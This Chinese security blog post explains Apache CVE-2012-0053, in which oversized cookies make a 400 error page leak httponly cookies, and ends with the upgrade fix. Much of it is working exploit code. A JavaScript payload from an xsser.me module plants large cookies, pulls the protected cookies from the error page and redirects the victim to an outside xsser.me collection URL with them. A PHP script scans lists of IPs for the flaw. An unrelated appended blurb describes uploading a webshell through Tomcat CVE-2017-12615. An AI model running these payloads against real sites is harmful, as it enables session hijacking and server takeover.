CVE-2012-0053详解

VIP · 2013/08/15 15:25

0x00 背景


Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,使得HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookies。

0x01 详情


老外在exploit-db上公布了测试apache站点是否有这个问题的js代码。

www.exploit-db.com/exploits/18…

代码稍微改一下就可以是一个收取cookie的exp了,看一下xsser.me的模块:

#!javascript
function setCookies() {
    /*apache server limit 8192*/
    var str = "";
    for (var i = 0; i < 819; i++) {
        str += "x";
    }
    for (i = 0; i < 10; i++) {
        var cookie = "ray" + i + "=" + str + ";path=/";
        document.cookie = cookie;
    }
}
function parseCookies() {
    if (xhr.readyState === 4 && xhr.status === 400) {
        var content = xhr.responseText.replace(/\r|\n/g, '').match(/<pre>(.+)<\/pre>/);
        content = content[1].replace("Cookie: ", "");
        cookies = content.replace(/ray\d=x+;?/g, '') try {
            var myopener = '';
            myopener = window.parent.openner.location;
            var myparent = '';
            myparent = window.parent.location;
        } catch(err) {
            myopener = '0';
            myparent = '0';
        }
        window.location = 'http://xsser.me/index.php?do=api&id={projectId}&location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener);
    }
}
setCookies();
var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("POST", "/?" + Math.random(), true);
xhr.send(null);
复制代码

在执行这段代码后,会种下10个819字节长的cookie,使得请求头超过最大请求长度,然后发起一次POST请求,待服务器返回400错误后从状态页中正则提取出经http-only保护的cookies。

0x02 危害


关于此漏洞的利用,乌云上也有相关案例,如:

WooYun: 腾讯分站 Apache 漏洞

其实最经典的案例要数这个了:

WooYun: XSS漏洞渗透新浪微博《头条新闻》账号

微博本身重要的cookie都设置了httponly,但是有一个域名下有这个apache漏洞。

刚好也有一个flash的xss,导致了此事件的发生。

0x03 后续


这个漏洞再次证明了:

本来是一个正常的功能,可因为设计不当成了XSS的帮凶。

下面的代码是之前的简单的写了一个验证是否存在这个漏洞的php脚本。

各位有需要的可以拿去使用下,现在估计存在这个问题的不多了,去年刚出来的时候可是大片存在。

#!php
<?php

//生成构造特殊cookie
function cookie () {
    $str = "";
    for ($i=0; $i< 819; $i++) {
        $str .= "x";
    }
    $cookie= "secdragon=secdragon;path=/";
    for ($i = 0; $i < 10; $i++) {
         $cookie .= "xss".$i."=".$str.";path=/";
    }
    return $cookie;
    }

//获取url,发包判断返回状态及结果
function my_get_http_result($url){
    if (empty($url)){
      return false;
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_COOKIE, cookie());
    $result = curl_exec($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);
    if( $info['http_code'] == "400" )
        return $result;
    else{
        return '';
    }
}

//判断是否成功获取cookie
function check($url){
    $a=my_get_http_result($url);
    if(strpos($a,'secdragon=secdragon'))
        echo $url.':success!'."<br/>";
    else{
        echo $url.':failed!'."<br/>";
    }
}

//获取需检测ip,也可将ip放在同目录下的ip.txt中,一行一个ip
$url=(@$_GET['url'])?$_GET['url']:@$argv[1];
if(!$url){
    $fp=fopen('ip.txt','r+');
    while($ipstr=fgets($fp)){
        if(preg_match('#[\w\.]+#',$ipstr,$match)){
            check($match[0]);
        }
    }
}else{
    check($url);
}

?>
复制代码

0x04修复方式

Apache2.2.22及以上版本已经修复此问题,升级即可解决。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
9 月 19 日,腾讯云安全中心监测到  Apache Tomcat 修复了2个严重级别的漏洞, 分别为: 信息泄露漏洞(CVE-2017-12616)、远程代码执行漏洞(CVE-2017-12615),在某些场景下,攻击者将分别能通过这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码。      云鼎实验室通过对于漏洞描述,搭建漏洞环境,并对其进行复现。此漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 webshell,并控制服务器。 复现 根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。    通过阅读 conf/web.xml 文件,可以发现:   默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控。   配置 readonly 为 false: 启动 Tomcat,利用 PUT 请求创建文件: 提示 404。通过描述中的 Windows 受影响,可以结合 Windows 的特性。其一是 NTFS 文件流,其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)来绕过限制:  访问发现可以正常输出:  分析 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过JspServlet处理请求的:   可以得知,“1.jsp ”(末尾有一个和空格)并不能匹配到 JspServlet,而是会交由DefaultServlet去处理。当处理 PUT 请求时: 会调用resources.rebind: dirContext 为FileDirContext: 调用 rebind创建文件: 又由于 Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。 Bypass 分析 然而,经过黑盒测试,当 PUT 地址为/1.jsp/时,仍然会创建 JSP,会影响 Linux 和 Windows 服务器,并且 Bypass 了之前的补丁,分析如下。  在进入 bind 函数时,会声明一个 File 变量: 进入 File 后,会对 name 进行 normalize 最后得到的 path 就是没有最后 / 的 path 了: 影响  由于存在去掉最后的 / 的特性,那么这个漏洞自然影响 Linux 以及 Windows 版本。而且经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无不中枪。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值